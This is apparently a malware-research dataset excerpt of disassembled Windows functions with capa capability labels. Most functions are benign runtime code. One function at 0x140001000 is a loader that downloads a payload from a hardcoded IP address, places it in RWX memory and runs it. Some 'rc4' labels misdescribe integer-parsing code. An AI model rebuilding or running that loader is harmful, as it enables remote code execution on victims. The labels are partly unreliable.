joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140023ef0
Capabilities:
Generate random numbers via winapi

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
test rcx, rcx
je 0x140017871
mov rax, qword [rcx]
movups xmm0, xmmword [rcx + 8]
mov qword [rcx], 0
cmp rax, 1
je 0x140017898
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rdx, [rbp - 0x20]
xor ecx, ecx
mov r8d, 0x10
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
test eax, eax
jne 0x1400178cd
movaps xmm0, xmmword [rbp - 0x20]
mov eax, dword [0x140071ea0]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 8], 1
movups xmmword [rax + 0x10], xmm0
lea rax, [rax + 0x10]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [0x14001a080]
mov qword [rbp - 0x28], rax
lea rax, [0x14005cbf8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x50], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.1400529f0
ud2
mov eax, dword [0x140071ea0]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
cmp qword [rax + 8], 0
je 0x140023f28
mov eax, dword [0x140071ea0]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rax, [rax + 0x10]
ret
jmp 0x140017840

Function at 0x140025170
Capabilities:
Create directory

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
mov r8, rdx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1400281d0
cmp qword [rsp + 0x20], 0
mov rsi, qword [rsp + 0x28]
jne 0x1400251f5
mov rdi, qword [rsp + 0x30]
mov rcx, rsi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x1400251c7
test rdi, rdi
je 0x1400251c3
add rdi, rdi
je 0x1400251c3
mov r8d, 2
mov rcx, rsi
mov rdx, rdi
call fcn.140007f00
xor esi, esi
jmp 0x1400251f5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
test rdi, rdi
je 0x1400251f2
add rdi, rdi
je 0x1400251f2
mov r8d, 2
mov rcx, rsi
mov rdx, rdi
call fcn.140007f00
mov rsi, rbx
mov rax, rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret

Function at 0x140025200
Capabilities:
Delete file

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
mov r8, rdx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1400281d0
cmp qword [rsp + 0x20], 0
mov rsi, qword [rsp + 0x28]
jne 0x140025283
mov rdi, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x140025255
test rdi, rdi
je 0x140025251
add rdi, rdi
je 0x140025251
mov r8d, 2
mov rcx, rsi
mov rdx, rdi
call fcn.140007f00
xor esi, esi
jmp 0x140025283
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
test rdi, rdi
je 0x140025280
add rdi, rdi
je 0x140025280
mov r8d, 2
mov rcx, rsi
mov rdx, rdi
call fcn.140007f00
mov rsi, rbx
mov rax, rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
Function at 0x14002ddb0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
movdqa xmmword [rbp - 0x10], xmm6
mov qword [rbp - 0x18], 0xfffffffffffffffe
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
mov rax, qword [rdx]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov qword [rbp - 0x20], rbx
mov rcx, rbx
call fcn.14001e090
mov rax, qword [rsi + 8]
cmp byte [rax], 0
jne 0x14002de08
lea rdx, str.exeNULcmd.execouldnt_generate_random_bytes:
mov r8d, 3
mov rcx, qword [rbp - 0x20]
call fcn.14001ee10
mov rax, qword [rbp - 0x20]
mov rsi, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x48]
mov rdx, rsi
call fcn.1400281d0
cmp qword [rbp - 0x48], 0
je 0x14002de65
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x28]
call fcn.1400117c0
mov qword [rdi], 0
mov rax, qword [rbp - 0x20]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14002de8b
mov r8d, 1
mov rcx, rsi
movaps xmm6, xmmword [rbp - 0x10]
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.140007f00
mov rbx, qword [rbp - 0x40]
test rbx, rbx
je 0x14002de37
movdqu xmm6, xmmword [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14002de98
mov qword [rdi], rbx
movdqu xmmword [rdi + 8], xmm6
jmp 0x14002de3e
movaps xmm6, xmmword [rbp - 0x10]
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov qword [rdi], 0
movq rdx, xmm6
test rdx, rdx
je 0x14002de3e
add rdx, rdx
je 0x14002de3e
mov r8d, 2
mov rcx, rbx
call fcn.140007f00
jmp 0x14002de3e

Function at 0x14002e7f0
Capabilities:
Create thread

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdi, r8
mov rbx, rdx
mov r14, rcx
mov qword [rbp - 0x30], rdx
mov qword [rbp - 0x28], r8
mov ecx, 0x10
mov edx, 8
call fcn.140007ef0
mov rsi, rax
test rax, rax
je 0x14002e8d0
mov qword [rsi], rbx
mov qword [rsi + 8], rdi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, [0x14002e960]
xor edi, edi
xor ecx, ecx
mov rdx, r14
mov r9, rsi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x14002e8c2
mov rcx, qword [rsi]
mov qword [rbp - 0x10], rsi
mov rax, qword [rsi + 8]
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x20], rax
call qword [rax]
mov rax, qword [rbp - 0x20]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14002e899
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
call fcn.140007f00
mov edx, 0x10
mov r8d, 8
mov rcx, qword [rbp - 0x10]
call fcn.140007f00
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
mov rax, rdi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov qword [rbp - 0x10], rsi
mov ecx, 0x10
mov edx, 8
call fcn.140052860
ud2
Function at 0x140039510
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x70
mov dword [rsp + 0x2c], r8d
lea eax, [r8 - 2]
cmp eax, 0x22
ja 0x1400396da
mov r9, rdx
mov edx, 1
test r9, r9
je 0x14003954c
mov al, byte [rcx]
cmp al, 0x2d
je 0x140039554
cmp al, 0x2b
jne 0x140039565
add r9, 0xffffffffffffffff
je 0x14003955a
add rcx, 1
jmp 0x140039565
xor r10d, r10d
jmp 0x1400396c2
cmp r9, 1
jne 0x140039565
mov r10d, 0x100
jmp 0x1400396c2
cmp r8d, 0x10
ja 0x1400395cd
cmp r9, 9
jae 0x1400395cd
xor r10d, r10d
cmp r8d, 0xa
jbe 0x14003963b
mov r11d, 0xffffffff
xor edx, edx
xor eax, eax
jmp 0x1400395a3
imul eax, r8d
add eax, edi
add rdx, 1
cmp r9, rdx
je 0x14003969a
movzx esi, byte [rcx + rdx]
lea edi, [rsi - 0x30]
cmp edi, 9
jbe 0x140039590
or esi, 0x20
add esi, 0xffffff9f
add esi, 0xa
cmovb esi, r11d
mov edi, esi
cmp esi, r8d
jb 0x140039590
mov edx, 0x101
jmp 0x1400396b6
xor r10d, r10d
cmp r8d, 0xa
jbe 0x140039664
mov r11d, 0xffffffff
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax]
movzx esi, byte [rcx + r10]
mul r8d
seto dl
lea edi, [rsi - 0x30]
mov ebx, 1
cmp edi, 0xa
jb 0x14003961f
or esi, 0x20
add esi, 0xffffff9f
add esi, 0xa
cmovb esi, r11d
xor ebx, ebx
cmp esi, r8d
setb bl
mov edi, esi
test ebx, ebx
sete bl
or dl, bl
jne 0x14003969e
add eax, edi
jb 0x1400396b1
add r10, 1
cmp r9, r10
jne 0x1400395f0
jmp 0x140039697
xor edx, edx
xor eax, eax
nop
movzx ebx, byte [rcx + rdx]
lea edi, [rbx - 0x30]
cmp edi, r8d
jae 0x1400395c3
imul eax, r8d
add eax, ebx
add eax, 0xffffffd0
add rdx, 1
cmp r9, rdx
jne 0x140039640
jmp 0x14003969a
xor eax, eax
nop word cs:[rax + rax]
movzx edi, byte [rcx + r10]
mul r8d
seto dl
add edi, 0xffffffd0
cmp edi, r8d
setae bl
jae 0x14003969e
test dl, dl
jne 0x14003969e
add eax, edi
jb 0x1400396b1
add r10, 1
cmp r9, r10
jne 0x140039670
xor r10d, r10d
xor edx, edx
jmp 0x1400396c2
xor bl, 1
movzx edx, bl
shl rdx, 8
add rdx, 0x101
jmp 0x1400396b6
mov edx, 0x201
mov r10d, edx
and r10d, 0x300
xor eax, eax
shl rax, 0x20
or rax, r10
movzx ecx, dl
or rcx, rax
mov rax, rcx
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x30], rax
lea rax, [0x14003eb40]
mov qword [rsp + 0x38], rax
lea rax, str.from_str_radix_int:_must_lie_in_the_range___2__36_____found
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rdx, str.librarycore_src_nummod.rs
lea rcx, [rsp + 0x40]
call fcn.1400529f0
ud2
jmp 0x140039510
Function at 0x14003dd50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
test r8, r8
je 0x14003ddca
mov r11, qword [rsp + 0x70]
mov ebp, ecx
shr ebp, 8
lea r8, [rdx + r8*2]
xor eax, eax
mov rbx, rdx
movzx edi, byte [rdx + 1]
add rdx, 2
lea r10, [rax + rdi]
cmp byte [rbx], bpl
jne 0x14003ddc0
cmp r10, rax
jb 0x14003de5d
cmp r10, r11
ja 0x14003de6a
add rax, r9
xor ebx, ebx
nop dword [rax + rax]
cmp rdi, rbx
je 0x14003ddc2
lea rsi, [rbx + 1]
cmp byte [rax + rbx], cl
mov rbx, rsi
jne 0x14003dda0
jmp 0x14003de32
ja 0x14003ddca
mov rax, r10
cmp rdx, r8
jne 0x14003dd6d
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x14003de36
mov rbx, qword [rsp + 0x78]
add rdx, rbx
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
nop
lea rsi, [rbx + 1]
movzx edi, byte [rbx]
test dil, dil
js 0x14003de10
mov rbx, rsi
sub ecx, edi
jns 0x14003de29
jmp 0x14003de38
cmp rsi, rdx
je 0x14003de43
and edi, 0x7f
shl edi, 8
movzx ebp, byte [rbx + 1]
add rbx, 2
or edi, ebp
sub ecx, edi
js 0x14003de38
xor al, 1
cmp rbx, rdx
jne 0x14003ddf0
jmp 0x14003de38
xor eax, eax
jmp 0x14003de38
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
lea rcx, str.called__Option::unwrap____on_a__None__value:
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.140052880
ud2
mov rcx, rax
mov rdx, r10
call fcn.140052af0
ud2
mov rcx, r10
mov rdx, r11
call fcn.140052ae0
ud2
Function at 0x14003e060
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x70
mov dword [rsp + 0x2c], r8d
lea eax, [r8 - 2]
cmp eax, 0x22
ja 0x1400396da
mov r9, rdx
mov edx, 1
test r9, r9
je 0x14003954c
mov al, byte [rcx]
cmp al, 0x2d
je 0x140039554
cmp al, 0x2b
jne 0x140039565
add r9, 0xffffffffffffffff
je 0x14003955a
add rcx, 1
jmp 0x140039565
xor r10d, r10d
jmp 0x1400396c2
cmp r9, 1
jne 0x140039565
mov r10d, 0x100
jmp 0x1400396c2
cmp r8d, 0x10
ja 0x1400395cd
cmp r9, 9
jae 0x1400395cd
xor r10d, r10d
cmp r8d, 0xa
jbe 0x14003963b
mov r11d, 0xffffffff
xor edx, edx
xor eax, eax
jmp 0x1400395a3
imul eax, r8d
add eax, edi
add rdx, 1
cmp r9, rdx
je 0x14003969a
movzx esi, byte [rcx + rdx]
lea edi, [rsi - 0x30]
cmp edi, 9
jbe 0x140039590
or esi, 0x20
add esi, 0xffffff9f
add esi, 0xa
cmovb esi, r11d
mov edi, esi
cmp esi, r8d
jb 0x140039590
mov edx, 0x101
jmp 0x1400396b6
xor r10d, r10d
cmp r8d, 0xa
jbe 0x140039664
mov r11d, 0xffffffff
xor eax, eax
nop word cs:[rax + rax]
nop dword [rax]
movzx esi, byte [rcx + r10]
mul r8d
seto dl
lea edi, [rsi - 0x30]
mov ebx, 1
cmp edi, 0xa
jb 0x14003961f
or esi, 0x20
add esi, 0xffffff9f
add esi, 0xa
cmovb esi, r11d
xor ebx, ebx
cmp esi, r8d
setb bl
mov edi, esi
test ebx, ebx
sete bl
or dl, bl
jne 0x14003969e
add eax, edi
jb 0x1400396b1
add r10, 1
cmp r9, r10
jne 0x1400395f0
jmp 0x140039697
xor edx, edx
xor eax, eax
nop
movzx ebx, byte [rcx + rdx]
lea edi, [rbx - 0x30]
cmp edi, r8d
jae 0x1400395c3
imul eax, r8d
add eax, ebx
add eax, 0xffffffd0
add rdx, 1
cmp r9, rdx
jne 0x140039640
jmp 0x14003969a
xor eax, eax
nop word cs:[rax + rax]
movzx edi, byte [rcx + r10]
mul r8d
seto dl
add edi, 0xffffffd0
cmp edi, r8d
setae bl
jae 0x14003969e
test dl, dl
jne 0x14003969e
add eax, edi
jb 0x1400396b1
add r10, 1
cmp r9, r10
jne 0x140039670
xor r10d, r10d
xor edx, edx
jmp 0x1400396c2
xor bl, 1
movzx edx, bl
shl rdx, 8
add rdx, 0x101
jmp 0x1400396b6
mov edx, 0x201
mov r10d, edx
and r10d, 0x300
xor eax, eax
shl rax, 0x20
or rax, r10
movzx ecx, dl
or rcx, rax
mov rax, rcx
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x30], rax
lea rax, [0x14003eb40]
mov qword [rsp + 0x38], rax
lea rax, str.from_str_radix_int:_must_lie_in_the_range___2__36_____found
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rdx, str.librarycore_src_nummod.rs
lea rcx, [rsp + 0x40]
call fcn.1400529f0
ud2
jmp 0x140039510

Function at 0x140043b24
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140043b6e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140043b6e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140043b6e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140043b6e
cmp dword [rcx + 0x84], 0xe
jbe 0x140043b6e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140043b70
xor al, al
add rsp, 0x28
ret

Function at 0x140047e54
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140047c80
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Download url
Execute shellcode via indirect call
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x140018008]
xor rax, rsp
mov qword [rsp + 0xc0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov ecx, eax
xor edx, edx
call qword [sym.imp.USER32.dll_PostThreadMessageW]
call qword [sym.imp.USER32.dll_GetInputState]
xor r9d, r9d
lea rcx, [rsp + 0x90]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
and qword [rsp + 0x20], 0
lea r8, [rsp + 0x30]
xor r9d, r9d
lea rdx, str.http:__206.238.220.42_chfs_shared_gx_bin_64.jpg
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x1400010e3
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov r8d, 1
mov rax, qword [rcx]
call qword [rax + 0x60]
mov esi, dword [rsp + 0x50]
mov ecx, esi
call fcn.1400011ac
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x38]
mov r8d, esi
mov rdx, rax
mov rdi, rax
mov r10, qword [rcx]
call qword [r10 + 0x18]
test eax, eax
js 0x1400010d0
mov ecx, dword [rsp + 0x38]
cmp rcx, rsi
je 0x1400010f3
mov rcx, rdi
call fcn.1400011a4
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001067
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x14000113e
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call fcn.140002c30
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rdi
call fcn.1400011a4
xor eax, eax
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140001180
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x140003dd8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140003c04
Function at 0x7ff76597cc40
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x7ff765a28900]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x7ff76597cd13
cmp byte [rcx + 0x71], 0
je 0x7ff76597cd13
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x7ff76597cd0f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.msvcp140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x7ff76597ccd4
sub eax, 1
je 0x7ff76597ccd8
cmp eax, 2
jne 0x7ff76597cd0f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.7ff7659fa990
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x7ff76597cd06
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.ucrtbase.dll_fwrite]
cmp rdi, rax
jne 0x7ff76597cd0f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x7ff76597ccbc
xor al, al
jmp 0x7ff76597ccbc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.7ff7659fa990
add rsp, 0x60
pop rbx
ret

Function at 0x7ff7659837b0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x7ff765a28900]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov rbx, rcx
mov rcx, qword [0x7ff765a29160]
mov rax, qword [rcx + 8]
cmp byte [rax + 0x19], 0
jne 0x7ff7659837f8
nop dword [rax]
cmp dword [rax + 0x20], 4
jge 0x7ff7659837ec
mov rax, qword [rax + 0x10]
jmp 0x7ff7659837f2
mov rcx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x7ff7659837e0
cmp byte [rcx + 0x19], 0
jne 0x7ff7659838d4
cmp dword [rcx + 0x20], 4
jg 0x7ff7659838d4
lea r8, [rcx + 0x28]
mov r10, qword [r8 + 0x10]
mov rdx, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x7ff765983821
mov rdx, qword [r8]
xor ecx, ecx
movabs r9, 0xcbf29ce484222325
test r10, r10
je 0x7ff765983853
movabs r11, 0x100000001b3
nop dword [rax]
movzx eax, byte [rcx + rdx]
xor r9, rax
imul r9, r11
inc rcx
cmp rcx, r10
jb 0x7ff765983840
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.7ff765983170
mov rcx, qword [rax + 8]
test rcx, rcx
je 0x7ff76598388e
cmp rcx, qword [rbx + 8]
je 0x7ff76598388e
cmp qword [rbx + 0x10], 1
jne 0x7ff765983892
mov al, 1
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.7ff7659fa990
add rsp, 0x80
pop rbx
ret
xor al, al
jmp 0x7ff765983878
lea rdx, [rsp + 0x38]
mov rcx, rbx
call fcn.7ff7659838f0
nop
mov r8, rax
lea rdx, [0x7ff7659fede0]
lea rcx, [rsp + 0x58]
call fcn.7ff76597db30
nop
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.7ff765983750
lea rdx, [0x7ff765a24170]
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea rcx, [0x7ff7659fee50]
call sub.msvcp140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_
int3
Function at 0x7ff76598d9a0
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call qword [sym.imp.ucrtbase.dll__read]
cdqe
add rsp, 0x28
ret

Function at 0x7ff76598dcb0
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbx, rdx
mov edx, 0x2b
mov rsi, r8
mov rbp, rcx
test r8, r8
je 0x7ff76598dd8b
xor r14d, r14d
nop dword [rax]
mov edi, 4
lea rdx, [rsp + 0x50]
cmp rsi, rdi
mov r8d, 4
mov rcx, rbp
cmovb rdi, rsi
call fcn.7ff765991900
cmp eax, 4
je 0x7ff76598dd08
mov edx, eax
jmp 0x7ff76598dd35
cmp byte [0x7ff765a29444], r14b
jne 0x7ff76598dd3f
mov r9d, 2
mov dword [rsp + 0x50], r14d
lea rdx, [rsp + 0x50]
xor ecx, ecx
lea r8d, [r9 + 2]
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb edx, edx
and edx, 2
mov eax, edx
test eax, eax
jne 0x7ff76598dd8d
mov eax, dword [rsp + 0x50]
jmp 0x7ff76598dd5e
imul eax, dword [0x7ff765a29440], 0x41c64e6d
mov edx, r14d
add eax, 0x3039
mov dword [0x7ff765a29440], eax
ror eax, 0x10
mov dword [rsp + 0x50], eax
test rdi, rdi
je 0x7ff76598dd82
sub rsi, rdi
nop word [rax + rax]
mov byte [rbx], al
inc rbx
shr eax, 8
sub rdi, 1
jne 0x7ff76598dd70
mov dword [rsp + 0x50], eax
test rsi, rsi
jne 0x7ff76598dce0
mov eax, edx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret

Function at 0x7ff76598dda0
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
sub rdi, 1
je 0x7ff76598de43
xor ebp, ebp
lea r14, [0x7ff7659ffb90]
nop
mov r8d, 4
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.7ff765991900
cmp eax, 4
jne 0x7ff76598de0f
cmp byte [0x7ff765a29444], bpl
jne 0x7ff76598de5b
lea r9d, [rax - 2]
mov dword [rsp + 0x50], ebp
mov r8d, eax
lea rdx, [rsp + 0x50]
xor ecx, ecx
call sub.bcrypt.dll_BCryptGenRandom
neg eax
sbb eax, eax
and eax, 2
test eax, eax
jne 0x7ff76598de48
mov ecx, dword [rsp + 0x50]
cmp ecx, 0xfffffffc
jae 0x7ff76598ddd0
mov eax, 0x8421085
mul ecx
mov eax, ecx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x3e
sub ecx, eax
movzx eax, byte [rcx + r14]
mov byte [rsi], al
inc rsi
sub rdi, 1
jne 0x7ff76598ddd0
mov byte [rsi], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
add rsp, 0x20
pop r14
pop rdi
pop rsi
ret
imul ecx, dword [0x7ff765a29440], 0x41c64e6d
add ecx, 0x3039
mov dword [0x7ff765a29440], ecx
ror ecx, 0x10
mov dword [rsp + 0x50], ecx
jmp 0x7ff76598de17
Function at 0x7ff765993ef0
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x7ff765993fd2
call fcn.7ff7659aa4a0
test al, al
jne 0x7ff765993fd2
mov qword [rsp + 0x30], rsi
xor esi, esi
mov qword [rsp + 0x38], rdi
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rbx + rdi], sil
jne 0x7ff765993f22
mov r8, rdi
mov edx, 0x2e
mov rcx, rbx
call fcn.7ff7659ab800
test rax, rax
je 0x7ff765993f67
sub rax, rbx
mov edx, 0x2e
mov r8, rax
mov rcx, rbx
call fcn.7ff7659ab800
mov rsi, rax
test rax, rax
je 0x7ff765993f67
inc rsi
mov rcx, rbx
sub rcx, rsi
add rdi, rcx
test rsi, rsi
cmovne rbx, rsi
lea rsi, [rbx + rdi]
mov edi, 0x1505
cmp rbx, rsi
jae 0x7ff765993f9b
nop dword [rax]
movzx ecx, byte [rbx]
call fcn.7ff76598d780
imul rdi, rdi, 0x21
movsx rcx, al
inc rbx
xor rdi, rcx
cmp rbx, rsi
jb 0x7ff765993f80
mov rsi, qword [rsp + 0x30]
mov rcx, rdi
movabs rax, 0x410410410410411
mul rdi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 5
imul rcx, rcx, 0x3f
sub rdi, rcx
mov rax, rdi
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x7ff7659a2c60
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x30
cmp byte [rcx + 0xab7], 0
mov rbp, r9
mov r14, r8
movsxd rsi, edx
mov rdi, rcx
je 0x7ff7659a2d2b
cmp qword [rcx + 0x268], 0
je 0x7ff7659a2cde
mov qword [rsp + 0x40], rbx
call fcn.7ff76599c1b0
mov dl, 1
mov rcx, rdi
movzx ebx, al
call fcn.7ff76599c520
mov rcx, qword [rdi + 0x1e0]
mov r9, rbp
mov qword [rsp + 0x20], rcx
mov r8, r14
mov rcx, rdi
mov edx, esi
call qword [rdi + 0x268]
movzx edx, bl
mov rcx, rdi
call fcn.7ff76599c520
mov rbx, qword [rsp + 0x40]
jmp 0x7ff7659a2d2b
mov ecx, esi
test edx, edx
je 0x7ff7659a2cee
sub ecx, 1
je 0x7ff7659a2cee
cmp ecx, 1
jne 0x7ff7659a2d2b
mov r9, qword [rdi + 0x1d8]
lea rax, [0x7ff765a01558]
mov edx, 2
lea rcx, [rsi + rsi*2]
add rcx, rax
lea r8d, [rdx - 1]
call qword [sym.imp.ucrtbase.dll_fwrite]
mov r9, qword [rdi + 0x1d8]
mov r8d, 1
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.ucrtbase.dll_fwrite]
